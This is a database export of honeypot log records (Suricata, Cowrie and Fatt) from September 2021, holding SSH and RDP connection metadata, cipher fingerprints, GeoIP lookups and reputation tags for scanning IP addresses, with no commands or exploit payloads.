34681	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:03:24.502047+03	2021-09-20 15:15:02.220487+03	{"_id": "WQYWA3wBvYTbRNuE5Vfk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:03:24.014304+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 193, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "61.133.192.126", "flow_id": 399972999378912, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "dest_port": 52804, "timestamp": "2021-09-20T12:03:24.502047Z", "@timestamp": "2021-09-20T12:03:24.502Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
34682	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:03:25.044971+03	2021-09-20 15:15:02.222487+03	{"_id": "YwYWA3wBvYTbRNuE6Fev", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "b7be2ac46900", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:03:25.044971Z", "@timestamp": "2021-09-20T12:03:25.044Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	US
34683	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:03:25.230536+03	2021-09-20 15:15:02.223486+03	{"_id": "YgYWA3wBvYTbRNuE6Fev", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "b7be2ac46900", "@version": "1", "timestamp": "2021-09-20T12:03:25.230536Z", "@timestamp": "2021-09-20T12:03:25.230Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	US
34684	96.78.175.36	109.199.241.180	Suricata	2021-09-20 15:03:25.230286+03	2021-09-20 15:15:02.225486+03	{"_id": "ZQYWA3wBvYTbRNuE6VfN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "96.78.175.36", "dest_ip": "192.168.20.116", "flow_id": 402225709715066, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 39824, "dest_port": 22, "timestamp": "2021-09-20T12:03:25.230286Z", "@timestamp": "2021-09-20T12:03:25.230Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	US
34685	96.78.175.36	109.199.241.180	Suricata	2021-09-20 15:03:25.230318+03	2021-09-20 15:15:02.226486+03	{"_id": "ZwYWA3wBvYTbRNuE6VfP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:03:24.855674+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "96.78.175.36", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 402225709715066, "payload": "AAADzAYUaHh5oqfzg0DhoFCenzyGfgAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 39824, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:03:25.230318Z", "@timestamp": "2021-09-20T12:03:25.230Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......hxy....@..P..<.~...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	US
34686	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:03:25.046438+03	2021-09-20 15:15:02.228487+03	{"_id": "aQYWA3wBvYTbRNuE6lfY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "96.78.175.36", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 39824, "timestamp": "2021-09-20T12:03:25.046438", "@timestamp": "2021-09-20T12:03:25.046Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
34687	23.97.240.235	109.199.241.180	Cowrie	2021-09-20 15:03:28.952559+03	2021-09-20 15:15:02.229486+03	{"_id": "dAYWA3wBvYTbRNuE-FdS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "23.97.240.235", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 52.3534, "location": {"lat": 52.3534, "lon": 4.9087}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9087, "postal_code": "1091", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "23.97.240.235", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 23.97.240.235:44486 (192.168.176.2:22) [session: cd7108cee2c2]", "session": "cd7108cee2c2", "@version": "1", "protocol": "ssh", "src_port": 44486, "dest_port": 22, "timestamp": "2021-09-20T12:03:28.952559Z", "@timestamp": "2021-09-20T12:03:28.952Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	NL
34688	23.97.240.235	109.199.241.180	Cowrie	2021-09-20 15:03:28.955351+03	2021-09-20 15:15:02.230486+03	{"_id": "cgYWA3wBvYTbRNuE-FdS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "23.97.240.235", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 52.3534, "location": {"lat": 52.3534, "lon": 4.9087}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9087, "postal_code": "1091", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "23.97.240.235", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.5'", "session": "cd7108cee2c2", "version": "b'SSH-2.0-libssh_0.9.5'", "@version": "1", "timestamp": "2021-09-20T12:03:28.955351Z", "@timestamp": "2021-09-20T12:03:28.955Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	NL
34689	23.97.240.235	109.199.241.180	Fatt	2021-09-20 15:03:28.994555+03	2021-09-20 15:15:02.232486+03	{"_id": "fwYWA3wBvYTbRNuE-lfe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "23.97.240.235", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 52.3534, "location": {"lat": 52.3534, "lon": 4.9087}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9087, "postal_code": "1091", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "23.97.240.235", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.5", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 44486, "dest_port": 22, "timestamp": "2021-09-20T12:03:28.994555", "@timestamp": "2021-09-20T12:03:28.994Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	NL
34690	23.97.240.235	109.199.241.180	Cowrie	2021-09-20 15:03:30.294638+03	2021-09-20 15:15:02.233486+03	{"_id": "iQYWA3wBvYTbRNuE_Fc7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "23.97.240.235", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 52.3534, "location": {"lat": 52.3534, "lon": 4.9087}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9087, "postal_code": "1091", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "23.97.240.235", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "cd7108cee2c2", "@version": "1", "duration": 1.3395986557006836, "timestamp": "2021-09-20T12:03:30.294638Z", "@timestamp": "2021-09-20T12:03:30.294Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	NL
34691	159.253.30.249	109.199.241.180	Suricata	2021-09-20 15:03:29.677252+03	2021-09-20 15:15:02.234486+03	{"_id": "jQYWA3wBvYTbRNuE_VdZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:03:29.536328+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "159.253.30.249", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 415080547168008, "payload": "AAADzAYUKYTwVUeDJVrmm7THs8XqKAAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 33458, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:03:29.677252Z", "@timestamp": "2021-09-20T12:03:29.677Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......)..UG.%Z.......(...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	SE
34692	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:03:31.213422+03	2021-09-20 15:15:02.236487+03	{"_id": "jgYXA3wBvYTbRNuEAFck", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "2e465e006744", "@version": "1", "duration": 1.5944645404815674, "timestamp": "2021-09-20T12:03:31.213422Z", "@timestamp": "2021-09-20T12:03:31.213Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	SE
34693	61.133.192.126	109.199.241.180	Fatt	2021-09-20 15:03:24.343113+03	2021-09-20 15:15:02.237486+03	{"_id": "XwYWA3wBvYTbRNuE51dT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "src_ip": "61.133.192.126", "dest_ip": "192.168.20.116", "@version": "1", "fatt_rdp": {"requestedProtocols": "0x00000003"}, "protocol": "rdp", "src_port": 52804, "dest_port": 3389, "timestamp": "2021-09-20T12:03:24.343113", "@timestamp": "2021-09-20T12:03:24.343Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	rdp	